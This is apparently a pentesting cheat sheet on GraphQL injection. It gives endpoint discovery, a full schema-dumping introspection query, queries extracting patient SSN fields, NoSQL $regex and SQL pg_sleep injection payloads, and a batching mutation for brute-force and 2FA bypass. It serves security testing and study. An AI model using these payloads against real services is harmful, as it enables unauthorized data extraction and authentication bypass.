8.8 KiB
GraphQL injection
GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
Summary
Tools
- GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes
- GraphQL-voyager - Represent any GraphQL API as an interactive graph
- GraphQL Security Toolkit - GraphQL Security Research Material
- GraphQL IDE - An extensive IDE for exploring GraphQL API's
- InQL - A Burp Extension for GraphQL Security Testing
- Insomnia - Cross-platform HTTP and GraphQL Client
Exploit
Identify an injection point
Most of the time the graphql is located on the /graphql
or /graphiql
endpoint.
example.com/graphql?query={__schema{types{name}}}
example.com/graphiql?query={__schema{types{name}}}
Check if errors are visible.
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
Enumerate Database Schema via Introspection
URL encoded query to dump the database schema.
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
URL decoded query to dump the database schema.
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
Extract data
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
Extract data using edges/nodes
{
"query": "query {
teams{
total_count,edges{
node{
id,_id,about,handle,state
}
}
}
}"
}
Extract data using projections
⚠️ Don’t forget to escape the " inside the options.
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
Use mutations
Mutations work like function, you can use them to interact with the GraphQL.
# mutation{signIn(login:"Admin", password:"secretp@ssw0rd"){token}}
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
NOSQL injection
Use $regex
, $ne
from inside a search
parameter.
{
doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}",
search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
{
firstName lastName id patients{ssn}
}
}
SQL injection
Send a single inside a graphql parameter to trigger the SQL injection
{
bacon(id: "1'") {
id,
type,
price
}
}
Simple SQL injection inside a graphql field.
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
GraphQL Batching Attacks
Common scenario:
- Password Brute-force Amplification Scenario
- 2FA bypassing
mutation finishChannelVerificationMutation(
$input FinishChannelVerificationInput!,
$input2 FinishChannelVerificationInput!,
$input3 FinishChannelVerificationInput!,
){
first: finishChannelVerificationMutation(input: $input){
channel{
id
option{
... onChannelSmsOptions{
number
}
}
status
notificationSubscription(last: 1000){ etc... }
}
}
second: finishChannelVerificationMutation(input: $input2){...}
third: finishChannelVerificationMutation(input: $input3){...}
}
References
- Introduction to GraphQL
- GraphQL Introspection
- API Hacking GraphQL - @ghostlulz - jun 8, 2019
- GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify
- Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren
- Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber
- GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey
- SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert
- Looting GraphQL Endpoints for Fun and Profit - @theRaz0r
- How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado
- GraphQL cheatsheet - DEVHINTS.IO
- HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky
- Introspection query leaks sensitive graphql system information - @Zuriel
- Graphql Bug to Steal Anyone’s Address - Sept 1, 2019 - Pratik Yadav
- GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019